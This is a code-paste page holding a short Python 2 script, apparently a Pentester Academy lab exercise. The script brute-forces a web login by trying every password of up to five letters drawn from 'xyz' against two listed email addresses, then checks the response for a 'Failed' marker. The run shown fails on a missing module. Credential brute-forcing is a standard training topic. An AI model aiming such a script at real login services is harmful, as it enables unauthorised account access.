fork download
  1. #!/usr/bin/env python
  2. '''
  3. Coded By Ahmed Sherif @iSecur1ty
  4.  
  5. '''
  6.  
  7. import urllib2
  8. from termcolor import cprint,colored
  9.  
  10. pass_list = 'xyz'
  11.  
  12.  
  13.  
  14. for current in xrange(5):
  15. a = [i for i in pass_list]
  16. for y in xrange(current):
  17. a = [x+i for i in pass_list for x in a]
  18.  
  19. username = ['jack@pentesteracademy.com','admin@pentesteracademy.com']
  20.  
  21. for user in username:
  22. for pw in a :
  23. print "Username is %s and password is %s" %(user,pw)
  24. url = ('http://p...content-available-to-author-only...t.com/lab/webapp/1?email='+user+'&password='+pw)
  25. request = urllib2.Request(url)
  26. response = urllib2.urlopen(request)
  27. out = response.read()[2486:2492]
  28. print out
  29. if (out !="Failed"):
  30. cprint("Success with username"+user +" and password " + pw,'red')
  31. exit(0)
Runtime error #stdin #stdout #stderr 0.13s 12728KB
stdin
Standard input is empty
stdout
Standard output is empty
stderr
Traceback (most recent call last):
  File "prog.py", line 8, in <module>
ImportError: No module named termcolor